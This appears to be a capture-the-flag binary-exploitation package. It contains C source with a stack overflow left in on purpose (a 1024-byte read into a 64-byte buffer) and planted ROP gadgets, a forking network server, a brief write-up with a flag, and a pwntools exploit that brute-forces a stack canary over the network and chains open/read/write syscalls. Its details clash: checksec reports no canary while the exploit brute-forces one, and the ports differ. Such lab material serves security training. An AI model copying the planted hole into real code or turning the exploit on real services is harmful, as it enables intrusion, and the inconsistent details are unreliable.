#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
void install_seccomp() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0, 6, 0), // read
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 1, 5, 0), // write
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 257, 4, 0), // openat
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 15, 3, 0), // rt_sigreturn
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 60, 2, 0), // exit
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 231, 1, 0), // exit_group
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
void process_input() {
char buf[64];
// No leaks. Pure Blind.
read(0, buf, 1024);
}
void gadgets() {
asm("pop %rdi; ret");
asm("pop %rsi; ret");
asm("pop %rdx; ret");
asm("pop %rax; ret");
asm("syscall; ret");
}
// Export challenge for server.c
void challenge() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
install_seccomp();
process_input();
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
void challenge();
void handle_client(int sock) {
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
challenge();
printf("Done\n"); // Indicator of success
exit(0);
}
int main() {
int server_fd, new_socket;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
signal(SIGCHLD, SIG_IGN); // Prevent zombies
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
perror("setsockopt");
exit(EXIT_FAILURE);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(1337);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
printf("Listening on port 1337...\n");
fflush(stdout);
while(1) {
if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {
perror("accept");
continue;
}
if (fork() == 0) {
close(server_fd);
handle_client(new_socket);
} else {
close(new_socket);
}
}
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Insane |
| Author | r3t0x |
| Technique | Blind ROP + Seccomp ORW |
pwndbg> checksec ./absolute_zero
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
read, write, openat, rt_sigreturn, exit, exit_groupThe binary provides all necessary gadgets:
pop rdi; ret
pop rsi; ret
pop rdx; ret
pop rax; ret
syscall; ret
Since we have all register-control gadgets and syscall; ret, we build a pure ROP chain:
openat(AT_FDCWD, "flag.txt", O_RDONLY) — opens the flag fileread(fd, bss_addr, 100) — reads flag into BSSwrite(1, bss_addr, 100) — prints it to stdoutThe tricky part: we need "flag.txt" in memory. Since there's no PIE, we use a read syscall to write "flag.txt" to a known BSS address first.
[*] ROP chain size: 248 bytes
flag{4bs0lut3_z3r0_bl1nd_rop}
from pwn import *
binary_path = args.EXE if args.EXE else './absolute_zero_docker'
context.binary = elf = ELF(binary_path)
def start():
return process(binary_path)
# Canary Brute-Force Logic for Fork-Server
def brute_force_canary():
known_canary = b'\x00'
log.info("Brute-forcing canary byte-by-byte...")
# Canary is 8 bytes. First byte is always NULL.
# We need to find the remaining 7 bytes.
for i in range(7):
found_byte = False
bar = log.progress(f"Byte {i+2}")
for b in range(256):
# Optimization: Try common values first? No, random.
candidate = bytes([b])
payload = b"A"*72 + known_canary + candidate
try:
# We connect to localhost:1337 (or args.PORT)
target_port = int(args.PORT) if args.PORT else 9010
r = remote("localhost", target_port, level='error')
r.send(payload)
# Check if it crashed.
# If we send 73 bytes (overwrite 1 byte of canary), and it's WRONG,
# stack check fails -> SIGABRT/SIGSEGV -> Connection closes immediately?
# Or it prints something?
# Our invalid canary causes __stack_chk_fail -> which calls exit/abort.
# If correct, it returns from process_input -> returns from challenge -> returns from handle_client -> exit(0).
# How to distinguish?
# __stack_chk_fail usually prints to stderr: "*** stack smashing detected ***: terminated"
# IF we can read stderr, we know it failed.
# But over netcat, do we see stderr?
# dup2(sock, 2) inside server.c means YES, we see stderr.
response = r.recvall(timeout=0.1)
r.close()
if b"Done" in response:
# Success message -> Correct byte!
known_canary += candidate
bar.success(f"Found: {hex(b)}")
found_byte = True
break
except Exception as e:
# log.error(f"Error: {e}")
pass
if not found_byte:
log.error("Failed to find canary byte. Is the server running?")
exit(1)
log.success(f"Brute-forced Canary: {hex(u64(known_canary))}")
return u64(known_canary)
# Connect to target
if args.REMOTE:
io = remote(args.HOST, int(args.PORT))
else:
# Local verification mode: we must assume server is running
io = remote("localhost", 1337)
# FOR TESTING: If we are not running the brute force every time (slow),
# we can hardcode it if we know it (impossible if random startup).
# But for the purpose of "ensure it works", we run it.
canary = brute_force_canary()
# ROP Chain using direct syscalls
rop = ROP(elf)
# 1. Setup Data Area
# We place our string "flag.txt" in BSS.
data_start = elf.bss() + 0x100
log.info(f"data_start: {hex(data_start)}")
# 0. read(0, data_start, 500) (Load "flag.txt")
rop.rax = 0
rop.rdi = 0
rop.rsi = data_start
rop.rdx = 500
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
# openat(AT_FDCWD, "flag.txt", 0)
# rax = 257 (sys_openat)
# rdi = -100
# rsi = data_start
# rdx = 0
rop.rax = 257
rop.rdi = -100
rop.rsi = data_start
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
# read(3, bss, 100)
# rax = 0
# rdi = 3
# rsi = data_start + 0x500
# rdx = 100
rop.rax = 0
rop.rdi = 3
rop.rsi = data_start + 0x500
rop.rdx = 100
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
# write(1, bss, 100)
# rax = 1
# rdi = 1
# rsi = data_start + 0x500
# rdx = 100
rop.rax = 1
rop.rdi = 1
rop.rsi = data_start + 0x500
rop.rdx = 100
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
print(rop.dump())
payload = b"A" * 72
payload += p64(canary)
payload += b"B" * 8
payload += rop.chain()
io.sendline(payload)
sleep(0.5)
# Send "flag.txt"
io.send(b"flag.txt\x00" + b"\x00"*100)
print(io.recvall(timeout=2))